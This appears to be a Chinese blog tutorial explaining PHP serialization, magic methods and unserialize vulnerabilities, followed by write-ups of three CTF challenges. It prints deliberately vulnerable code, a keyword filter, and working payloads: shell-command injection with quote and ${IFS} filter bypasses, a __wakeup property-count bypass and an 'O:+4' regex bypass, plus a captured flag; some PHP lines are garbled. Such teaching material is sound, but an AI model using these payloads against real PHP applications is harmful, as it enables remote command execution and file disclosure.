php反序列化+题

含义:

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息"复刻"出一个和原来一模一样的对象。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

字符详解

O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}

O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 : 18是age的属性值 , i是代表 integer类型

s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值

魔术方法:

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线 __开头的方法称为魔术方法(Magic methods)

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。

构造函数和析构函数

构造函数和析构函数分别在对象创建和销毁时被调用。对象被"销毁"是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。

常用魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:反序列化恢复对象之前调用该方法

__call:当调用对象中不存在的方法会自动调用该方法。

__get:在调用私有属性的时候会自动执行

__isset()在不可访问的属性上调用isset()或empty()触发

__unset()在不可访问的属性上使用unset()时触发

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法触发的因素

1. echo(obj)/print(obj)打印时会触发
2. 反序列化对象与字符串连接时
3. 反序列化对象参与格式化字符串时
4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5. 反序列化对象参与格式化SQL语句,绑定参数时
6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8. 反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

php序列化和反序列化

下面来详细介绍一下php序列化和反序列化

Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔键和值

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,

这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:

把一个对象在网络中传输

把对象写入文件或数据库

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

挖掘反序列化漏洞的条件是:

1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。

  1. unserialize()函数的参数可控。

攻防世界:

unseping

下面看题来熟悉一下:

源码

<?php

highlight_file(FILE);//(语法高亮)

class ease{//类定义

private $method;//私有变量

private $args;

function __construct($method, $args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。("SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数

$this->method = $method;

$this->args = $args;//构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员(私有)变量 $method 和 $args

}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。

function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法

if (in_array($this->method, array("ping"))) { //检查成员变量 $method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method**(简单来说就是判断method是不是等于ping)**

call_user_func_array(array($this, $this->method), $this->args);//动态地调用对象的方法,并将 $this->args 数组作为参数传递给该方法。

}

} //在对象销毁时,如果 $method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 $args 数组作为参数传递给该方法。

function ping($ip){//执行ping命令**(函数ping)**

exec($ip, $result);

var_dump($result);

}//ping 函数的作用是执行系统命令 exec($ip, $result),其中 $ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 result 中。然后,使用 var_dump(result) 打印 $result 的内容,以便查看命令执行的结果

function waf($str){//函数waf

if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {

return $str;

} else {

echo "don't hack";

}

}//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 $str 是否包含特定的敏感词汇,如 |、&、;、/、cat、flag、tac、php、ls 等。如果 $str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值

function __wakeup(){

foreach($this->args as $k => $v) {

this-\>args\[k] = this-\>waf(v);

}

}

}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量this-\>args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给this->args[$k]`。(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 $this->args 进行敏感词过滤。)

ctf=@_POST['ctf'];//这行代码将 $_POST 数组中名为 'ctf' 的元素的值赋给了变量 $ctf。@ 符号用于抑制可能的错误提示。

@unserialize(base64_decode($ctf));//这行代码使用 base64_decode 函数对变量 $ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>

通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出

<?php

class ease{

private $method;

private $args;

function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

}

}

a = new ease("ping",array('c""at{IFS}f""lag_1s_here(printf{IFS}"\57")f""lag_831b69012c67b35f.p""hp'));

b = serialize(a);

echo $b;

echo'</br>';

echo base64_encode($b);

?>

<?php

class ease{

private $method;

private $args;

function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

}//定义了一个名为 ease 的类。该类具有私有成员变量 $method 和 $args,以及一个构造函数 __construct。构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员变量

}

$a = new ease("ping",array('l""s'));//创建了一个类的实例 $a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。

b = serialize(a);//使用 serialize 函数对实例 $a 进行序列化,将其转换为一个字符串表示
echo $b;

echo'</br>';//使用 echo 语句输出序列化后的字符串 b,并在其后添加一个换行符 \。 echo base64_encode(b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。

?>

运行结果:

找到了flag文件 再在原来的基础上把命令改一下就可以了

想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用{IFS}绕过,/要用printf及()绕过。

arg=c""at{IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

unserialize3

东西很少,

看源码:

class xctf{

public $flag = '111';//类中定义了一个公共成员变量 $flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改

public function __wakeup(){

exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。

}

?code=//给出的 URL 参数 ?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php

class xctf{ //定义一个名为xctf的类

public flag = '111'; //定义一个公有的类属性flag,值为111

public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本

exit('bad requests');

}

}

$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak

echo(serialize($peak)); //输出被序列化的对象(peak)

?>

得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞

所以我们构造的payload只需要把xctf后边的1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了

cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}

Web_php_unserialize

<?php

class Demo { //类定义

private $file = 'index.php';//私有变量

public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象

$this->file = $file;

}//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性

function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法

echo @highlight_file($this->file, true); //highlight_file() 函数以代码高亮的形式输出 $file 文件的内容

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

} //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)

}

}

if (isset($_GET['var'])) { //在主代码块中,首先检查是否存在 $_GET['var'] 参数。

var = base64_decode(_GET['var']); //$_GET['var'] 参数,则对其进行 Base64 解码,并将结果赋值给变量 $var

if (preg_match('/[oc]:\d+:/i', $var)) {

die('stop hacking!'); //使用正则表达式匹配检查 $var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 $var 可能被恶意篡改,代码执行会被终止,并输出提示信息

} else {

@unserialize(var); //var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作

}

} else {

highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容

}

?>

通过源代码可以看出来,想得到flag要绕过3个

1.绕过__wakeup 2.绕过正则表达式 3.base64加密

1.绕过:

__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2.(preg_match('/[oc]:\d+:/i', $var))

而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 "o:数字" 或者 "c:数字' 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配

绕过

而O:+4没被过滤说明绕过了过滤而且最后的值不变。

3.直接base64加密就可以

<?php

class Demo {

private $file = 'index.php';

public function __construct($file) {

$this->file = $file;

}

function __destruct() {

echo @highlight_file($this->file, true);

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}

$A = new Demo ('fl4g.php'); //创建对象

C = serialize(A); //对对象A进行序列化

C = str_replace('O:4','O:+4',C); //绕过正则表达式过滤

C = str_replace(':1:',':2:',C); //wakeup绕过

var_dump($C);

var_dump(base64_encode($C)); //base64加密

?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

绕过的详细过程:

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

<?php

class Demo {

private $file = 'fl4g.php';

}

$a = serialize(new Demo);

var_dump($a);

?>

得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

__wakeup绕过:

"Demo":1 改成 "Demo":2

正则绕过:

O:4 改成:O:+4

所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)

在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到base64编码 在传个参就可以了

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到了flag

相关推荐
Code哈哈笑8 分钟前
【Java 学习】深度剖析Java多态:从向上转型到向下转型,解锁动态绑定的奥秘,让代码更优雅灵活
java·开发语言·学习
程序猿进阶11 分钟前
深入解析 Spring WebFlux:原理与应用
java·开发语言·后端·spring·面试·架构·springboot
qq_4336184413 分钟前
shell 编程(二)
开发语言·bash·shell
charlie11451419128 分钟前
C++ STL CookBook
开发语言·c++·stl·c++20
袁袁袁袁满28 分钟前
100天精通Python(爬虫篇)——第113天:‌爬虫基础模块之urllib详细教程大全
开发语言·爬虫·python·网络爬虫·爬虫实战·urllib·urllib模块教程
ELI_He99934 分钟前
PHP中替换某个包或某个类
开发语言·php
m0_7482361142 分钟前
Calcite Web 项目常见问题解决方案
开发语言·前端·rust
倔强的石头1061 小时前
【C++指南】类和对象(九):内部类
开发语言·c++
Watermelo6171 小时前
详解js柯里化原理及用法,探究柯里化在Redux Selector 的场景模拟、构建复杂的数据流管道、优化深度嵌套函数中的精妙应用
开发语言·前端·javascript·算法·数据挖掘·数据分析·ecmascript
半盏茶香2 小时前
在21世纪的我用C语言探寻世界本质 ——编译和链接(编译环境和运行环境)
c语言·开发语言·c++·算法